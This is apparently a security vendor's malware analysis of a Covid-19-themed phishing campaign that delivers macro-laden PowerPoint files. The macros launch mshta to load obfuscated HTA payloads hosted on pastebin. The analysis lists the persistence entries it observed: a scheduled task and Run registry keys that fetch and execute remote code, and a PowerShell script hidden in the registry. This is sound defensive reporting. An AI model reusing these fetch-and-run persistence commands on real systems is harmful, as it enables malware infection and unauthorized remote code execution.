File-less (almost) and Confused

Amidst the crisis the world is going through because of the Covid-19 pandemic, malicious actors continue to take advantage of the situation to lure unsuspecting online consumers into installing malware into their systems.

We have recently found reports of malicious Powerpoint slides being sent through email, which are disguised as business opportunities or transactions. 

Figure 1.0 Email sample with Business Inquiry mentioning Covid-19

Figure 1.1 Email sample with Request-for-Quotation theme

Analysis

Once an unsuspecting user opens the PowerPoint slide attached to the email, PowerPoint will prompt the user about a potential security concern and let’s user choose whether to enable or disable macros.

If user chooses to enable macros, the malicious VBA macro is automatically executed upon closing of the PowerPoint slide, which is triggered by the use of a built-in VBA event named Auto_Close. The VBA code simply runs mshta to load and execute a malicious HTML application (HTA) with the use of a shortened URL (hxxps://bit[.]ly/8bz529ep5dc64gf2zxvd), which redirects to a pastebin link (hxxps://pastebin[.]com/raw/Ri1gJLPQ).

Figure 2.0 Behavior Tree

It is good to point out that all HTA payloads used in this campaign/attack uses the same obfuscation as shown below:

Figure 3.0 Obfuscated 1^st-level payload

A quick de-obfuscation reveals code written in VBScript:

Figure 4.0 De-obfuscated 1^st-leval payload revealing VBScript code

In just a few lines this initial payload attempts to execute a second level HTA payload from hxxp://pastebin[.]com/raw/Bswfq2VB before creating auto-start entries, which in turn automatically executes the same second-level HTA payload without having to save any files to disk, hence making it “file-less” in a sense.

• Scheduled TaskTask name: Pornhub
  Runs every: 80 minutes
  Runs: mshta “http:\pastebin.comrawBswfq2VB”
• Autorun RegistryHive: HKCUSoftwareMicrosoftWindowsCurrentVersionRun
  Key: START
  Value: mshta “http:\pastebin.comraw7dhzBwcm”

There at least three (3) different second-level payload links used, but the de-obfuscated form reveals the same VBScript code as shown below:

Figure 5.0 De-obfuscated 2^nd-level payload

To put it into context, the 2^nd-level payload writes additional registry entries. The first one, being another auto-start registry entry, which executes VBScript code via mshta[1]. This VBScript code executes a Powershell script, which is written as a registry entry too.

• Autorun RegistryHive: HKCUSoftwareMicrosoftWindowsCurrentVersionRun
  Key: bin
  Value: <call to mshta, executing VBScript code>
• Powershell ScriptHive: HKCUSoftware
  Key: suckmyass
  Value: <Powershell script>